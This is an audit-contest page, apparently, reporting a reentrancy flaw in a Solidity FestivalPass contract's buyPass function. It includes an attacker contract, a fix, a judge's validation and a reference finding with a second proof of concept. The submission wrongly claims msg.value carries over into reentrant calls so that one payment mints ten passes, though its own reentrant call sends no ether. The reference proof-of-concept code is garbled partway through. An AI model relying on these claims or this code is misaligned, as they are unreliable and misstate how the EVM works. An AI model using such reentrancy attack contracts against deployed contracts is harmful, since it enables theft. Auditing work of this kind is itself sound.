Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass CEI violation enables reentrancy exceeding pass supply cap

Title: buyPass CEI violation enables reentrancy exceeding pass supply cap
Severity: Medium
Impact: Attacker mints multiple passes for single payment, exceeding maxSupply temporarily.
Likelihood: Medium — requires deploying malicious contract with ERC1155 receiver callback.
Reference Files: src/FestivalPass.sol:69-85

Description

buyPass calls _mint — triggering onERC1155Received on the receiver — BEFORE incrementing passSupply. A malicious contract reenters during the callback while passSupply is unchanged and msg.value propagates from the original transaction. The vulnerable code:

function buyPass(uint256 collectionId) external payable {
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // ← external callback!
++passSupply[collectionId]; // ← state change AFTER callback
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) BeatToken(beatToken).mint(msg.sender, bonus);
}

The reentrant call passes all checks because passSupply hasn't been incremented and msg.value stays constant across internal message calls.

Risk

Impact: Medium. Attacker pays for one pass and reenters to mint additional passes up to maxSupply, each generating BEAT bonus tokens. The pass supply cap is temporarily bypassed during the reentrant transaction.
Likelihood: Medium. Requires deploying a contract with onERC1155Received that reenters buyPass. Single transaction but needs contract deployment.
A BACKSTAGE pass (0.25 ETH) can be reentered to mint 10 passes with 150e18 BEAT total instead of the legitimate 15e18.

Proof of Concept

contract Attacker {
FestivalPass festival; uint256 count; uint256 constant LIMIT = 10;
constructor(FestivalPass _f) { festival = _f; }
function attack() external payable { festival.buyPass{value: msg.value}(3); }
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external returns (bytes4) {
if (count < LIMIT - 1) { count++; festival.buyPass(3); }
return this.onERC1155Received.selector;
}
}

Deploy, call attack{value: 0.25 ether}(). Attacker receives 10 BACKSTAGE passes + 150e18 BEAT for price of one.

Recommended Mitigation

function buyPass(uint256 collectionId) external payable {
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
++passSupply[collectionId]; // ← state change FIRST
_mint(msg.sender, collectionId, 1, ""); // ← external call AFTER
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) BeatToken(beatToken).mint(msg.sender, bonus);
emit PassPurchased(msg.sender, collectionId);
}

Moving ++passSupply before _mint follows Checks-Effects-Interactions. The reentrant call fails passSupply < maxSupply because the counter was already incremented.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!